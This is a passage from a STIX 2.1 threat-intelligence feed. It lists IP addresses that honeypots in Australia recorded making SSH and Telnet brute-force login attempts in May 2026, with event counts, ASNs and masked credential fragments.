      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--fe622ffa-f7be-4a44-96c6-c9ec18eb57d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.177.251.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--80113544-5c9a-49ce-8528-ebb780968c46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.210.199.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 56630. Organisation(s): Melbikomas UAB.",
      "id": "indicator--ff104764-0bdd-445d-8417-a0640798b7ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.238.126.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--7d11ee1d-5861-49e5-ab97-9e3987beebf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.20.127.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f0dd478a-74db-4f67-a823-e04f6d4b965f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 38719. Organisation(s): Dreamscape Networks Limited. Usernames observed (masked): r**t, u****u, 3**********4. Passwords observed (masked): 1********y, 3***********4, 3**********4, L******5, Z******6.",
      "id": "indicator--eddbb4a4-02a1-4bc6-ba7e-36c256d402fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.245.97.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208570. Organisation(s): Spark for Information Technology Services Ltd.",
      "id": "indicator--271cba59-1694-493f-a008-8a8a76d6a6c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.128.123.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267410. Organisation(s): 2D TELECOM LTDA - ME.",
      "id": "indicator--917a03ac-14d5-495f-86ad-e99454075f21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.235.95.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 228. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--524813ec-1533-4a71-b73d-3ef0f1236009",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.32.7.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--e102c8a2-5e83-442e-829e-d405aa8dad6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.107.49.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 340. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--f60d7af3-2cf7-4a27-8ba6-9ad7348e1f65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.70.198.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--41f7d291-7037-467d-bcfa-b5cf3f83aebe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 13127. Organisation(s): Odido Netherlands B.V..",
      "id": "indicator--08b47469-845e-41f6-9d29-d0f3f5f599f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.172.190.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom. Usernames observed (masked): r**t, u****u, ***, t***1, 3**********4. Passwords observed (masked): 1****6, 1****1, 3***********4, 3**********4, P******3.",
      "id": "indicator--0122ea96-1544-4482-a084-2d24cb7b0cda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.95.166.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--35512264-9290-44e6-8d86-3c8f70bc9592",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.198.205.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263960. Organisation(s): speed telecom.",
      "id": "indicator--4868c06b-99ce-42d6-8159-78db3e39f650",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.255.87.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '16.58.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--5792474e-d37e-41a9-84bc-acabde384a9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.0.63.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--a29f62a8-a533-4492-9a73-9858277e5c05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--84eda487-df6d-439d-8508-1d5df4f4d224",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--1bb7ca2d-2010-42c6-8a45-3c0afb06685a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.189.121.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 269729. Organisation(s): GRUPO MULTICABLES DE CORTES S.R.L de C.V.",
      "id": "indicator--a7323a2c-d14a-4765-b4dd-c3f01600a99b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.181.84.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--8bf4f5d7-90a2-4781-91ed-d7a9a78e4ff3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.245.117.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--52863183-dc2b-4c3a-9d8c-0a0ababc8269",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.103.119.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:15:10.000Z",
      "valid_until": "2026-06-04T04:15:08.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 328988. Organisation(s): SAFARICOM-TEL.",
      "id": "indicator--7ebe2ce0-fac3-44ce-a52e-40e811f61326",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.213.68.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--f654fb11-741e-4e17-9665-f4f4eeae683d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.178.7.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--9755ce19-65e7-40f5-80ed-bdd470a3eefd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.125.232.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 57388. Organisation(s): I.B.C - Telecom Sh.p.k..",
      "id": "indicator--5a3f7bc5-7d04-4a5f-8daa-1f061ed21dff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.139.4.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--51c7c5a9-67c7-4994-b515-33748f368655",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5942961f-4397-41f7-b99b-8b025d25ea1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 202302. Organisation(s): NETH LLC.",
      "id": "indicator--ff4bdec9-d0ca-4477-ba4c-65bd3739c660",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.42.190.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): a***n, o****e, t******r, r**t, t**t. Passwords observed (masked): a***n, !*******, *, 1****6, 1***3.",
      "id": "indicator--369d2f00-8e5a-4b89-aa66-db9328941364",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.92.6.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6547e5c1-c6e0-4cd9-9fe7-5e45cc549fee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.224.168.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 133443. Organisation(s): Comilla Online.",
      "id": "indicator--23a90366-f530-45af-8a05-dcba1416e4b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.239.72.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T05:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--87286ec5-bb3b-44e8-bbd3-43b8cfeb247d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T05:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.197.196.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:15:06.000Z",
      "valid_until": "2026-06-04T05:15:03.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--d1c8d585-456e-4948-b5bc-f110a1c2b127",
      "labels": [
        "bruteforce"
      ],
